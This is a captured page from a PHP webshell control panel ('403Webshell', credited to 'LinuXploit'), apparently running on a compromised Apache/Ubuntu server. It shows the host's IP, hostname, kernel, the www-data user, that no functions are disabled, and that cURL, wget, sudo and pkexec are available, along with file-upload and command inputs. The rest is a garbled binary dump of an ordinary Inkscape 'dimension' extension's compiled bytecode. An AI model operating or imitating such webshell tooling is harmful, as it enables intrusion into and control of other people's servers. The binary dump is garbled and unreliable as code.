403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/dimension.cpython-310.pyc
o

0�a;�@sTdZddlZddlmZmZmZddlZGdd�dej�Zedkr(e��	�dSdS)a
An Inkscape effect for adding CAD style dimensions to selected objects
in a drawing.

It uses the selection's bounding box, so if the bounding box has empty
space in the x- or y-direction (such as with some stars) the results
will look strange.  Strokes might also overlap the edge of the
bounding box.

The dimension arrows aren't measured: use the "Visualize Path/Measure
Path" effect to add measurements.

This code contains snippets from existing effects in the Inkscape
extensions library, and marker data from markers.svg.
�N)�Group�Marker�PathElementc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�	Dimensionz!Add dimensions as a path modifiercCs8|jdtddd�|jdtddd�|jddd	d
�dS)Nz	--xoffsetgY@z(x offset of the vertical dimension arrow)�type�default�helpz	--yoffsetz*y offset of the horizontal dimension arrowz--type�	geometriczBounding box type)rr)�add_argument�float)�self�pars�r�+/usr/share/inkscape/extensions/dimension.py�
add_arguments+s
�
�zDimension.add_argumentscCs�t�}|�d|�|�dd�|�dd�|�dd�|�dd�|�d	|�|jj�|�td
d�}|r<|�dd
�n|�dd�|�dd�|�|�dS)z&Create a marker in the defs of the svg�id�orient�auto�refXz0.0�refY�stylezoverflow:visiblezinkscape:stockidz7M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z )�d�	transformz(scale(0.8) rotate(180) translate(12.5,0)zscale(0.8) translate(12.5,0)zEfill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:noneN)r�set�svg�defs�appendr)r�name�rotate�marker�arrowrrr�
add_marker2s
zDimension.add_markercCsPt�}|j|d|jj}|j}||d|jj}|�dd|||f�|S)zCreate a horzontal liner�rzM %f %f H %f)r�left�options�xoffset�right�yoffsetr)r�y�xlat�bbox�line�x1�x2�y1rrr�	horz_lineEszDimension.horz_linecCsPt�}||d|jj}|j|d|jj}|j}|�dd|||f�|S)zCreate a vertical linerr"rzM %f %f V %f)rr$r%�topr'�bottomr)r�xr)r*r+r.�y2rrr�	vert_lineNszDimension.vert_linecCs2|j�d�}|jj|9_|jj|9_|jjst�d��|jjdkr,|jj	�
�}n|jj	���
�}|j��}|�
dd�|�
dd�t�}|�|�|�dd	�|�d
d�|�|jdd
g|�}|�dd�|�dd�|�dt|��|�|�|�|jddg|�}|�dtd|��|�|�|�|jddg|�}|�dtd|��|�|�|�|jd
dg|�}|�dd�|�dd�|�dt|��|�|�|�|jddg|�}|�dtd|��|�|�|�|jddg|�}|�dtd|��|�|�|jj��D]}|�|��q	|�|�dS)N�1pxzPlease select an objectr	�Arrow1LstartF�
Arrow1LendT�fill�none�stroke�blackrr"zmarker-startzurl(#Arrow1Lstart)z
marker-endzurl(#Arrow1Lend)zstroke-width�g�?)r�unittouur$r%r'�selected�inkex�AbortExtensionr�	selection�bounding_box�first�get_current_layerr!rrrr/r0�strr4r#r&r1�values)r�scaler*�layer�groupr+�noderrr�effectWsR









zDimension.effectN)	�__name__�
__module__�__qualname__�__doc__rr!r/r4rKrrrrr)s		r�__main__)
rOr?rrr�pathmodifier�PathModifierrrL�runrrrr�<module>sg�

Youez - 2016 - github.com/yon3zu
LinuXploit